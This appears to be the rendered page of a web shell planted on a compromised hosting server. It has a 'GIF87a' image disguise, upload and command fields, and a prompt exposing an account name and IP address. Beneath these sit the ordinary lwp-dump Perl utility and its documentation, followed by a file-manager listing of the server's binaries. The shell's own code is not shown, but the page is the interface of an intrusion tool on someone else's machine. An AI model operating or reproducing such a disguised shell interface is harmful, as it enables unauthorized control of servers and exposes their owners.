GIF87a; 404

MY HEART




Upload:

Command:

diavoloapp@3.133.122.6: ~ $
#!/usr/bin/perl

eval 'exec /usr/bin/perl  -S $0 ${1+"$@"}'
    if 0; # not running under some shell

use strict;
use warnings;
use LWP::UserAgent ();
use Getopt::Long qw(GetOptions);
use Encode;
use Encode::Locale;

GetOptions(\my %opt, 'parse-head', 'max-length=n', 'keep-client-headers',
    'method=s', 'agent=s', 'request',)
    || usage();

my $url = shift || usage();
@ARGV && usage();

sub usage {
    (my $progname = $0) =~ s,.*/,,;
    die <<"EOT";
Usage: $progname [options] <url>

Recognized options are:
   --agent <str>
   --keep-client-headers
   --max-length <n>
   --method <str>
   --parse-head
   --request

EOT
}

my $ua = LWP::UserAgent->new(
    parse_head => $opt{'parse-head'} || 0,
    keep_alive => 1,
    env_proxy  => 1,
    agent      => $opt{agent}        || "lwp-dump/$LWP::UserAgent::VERSION ",
);

my $req = HTTP::Request->new($opt{method} || 'GET' => decode(locale => $url));
my $res = $ua->simple_request($req);
$res->remove_header(grep /^Client-/, $res->header_field_names)
    unless $opt{'keep-client-headers'}
    or ($res->header("Client-Warning") || "") eq "Internal response";

if ($opt{request}) {
    $res->request->dump;
    print "\n";
}

$res->dump(maxlength => $opt{'max-length'});

__END__

=head1 NAME

lwp-dump - See what headers and content is returned for a URL

=head1 SYNOPSIS

B<lwp-dump> [ I<options> ] I<URL>

=head1 DESCRIPTION

The B<lwp-dump> program will get the resource identified by the URL and then
dump the response object to STDOUT.  This will display the headers returned and
the initial part of the content, escaped so that it's safe to display even
binary content.  The escapes syntax used is the same as for Perl's double
quoted strings.  If there is no content the string "(no content)" is shown in
its place.

The following options are recognized:

=over

=item B<--agent> I<string>

Override the user agent string passed to the server.

=item B<--keep-client-headers>

LWP internally generate various C<Client-*> headers that are stripped by
B<lwp-dump> in order to show the headers exactly as the server provided them.
This option will suppress this.

=item B<--max-length> I<n>

How much of the content to show.  The default is 512.  Set this
to 0 for unlimited.

If the content is longer then the string is chopped at the
limit and the string "...\n(### more bytes not shown)"
appended.

=item B<--method> I<string>

Use the given method for the request instead of the default "GET".

=item B<--parse-head>

By default B<lwp-dump> will not try to initialize headers by looking at the
head section of HTML documents.  This option enables this.  This corresponds to
L<LWP::UserAgent/"parse_head">.

=item B<--request>

Also dump the request sent.

=back

=head1 SEE ALSO

L<lwp-request>, L<LWP>, L<HTTP::Message/"dump">

Filemanager

Name Type Size Permission Actions
config_data File 6.97 KB 0555
corelist File 14.73 KB 0555
cpanm File 295.76 KB 0555
crontab File 1.81 MB 0755
ea-php56 File 4.03 MB 0755
ea-php70 File 3.91 MB 0755
ea-php71 File 4.08 MB 0755
ea-php72 File 4.32 MB 0755
ea-php73 File 4.71 MB 0755
ea-php74 File 6.09 MB 0755
ea_convert_php_ini File 39.85 KB 0755
ea_current_to_profile File 8.31 KB 0755
ea_install_profile File 7.1 KB 0755
ea_sync_user_phpini_settings File 6.73 KB 0755
htmltree File 1.23 KB 0555
json_pp File 4.86 KB 0555
lsphp File 937 B 0755
lwp-download File 10.13 KB 0555
lwp-dump File 2.73 KB 0555
lwp-mirror File 2.44 KB 0555
lwp-request File 15.9 KB 0555
mech-dump File 4.83 KB 0555
passwd File 3.47 MB 0755
pear File 935 B 0755
php File 933 B 0755
prove File 13.33 KB 0555
tt-render File 101 B 0555
use-devel-checklib File 2.8 KB 0555
wp-toolkit File 167 B 0700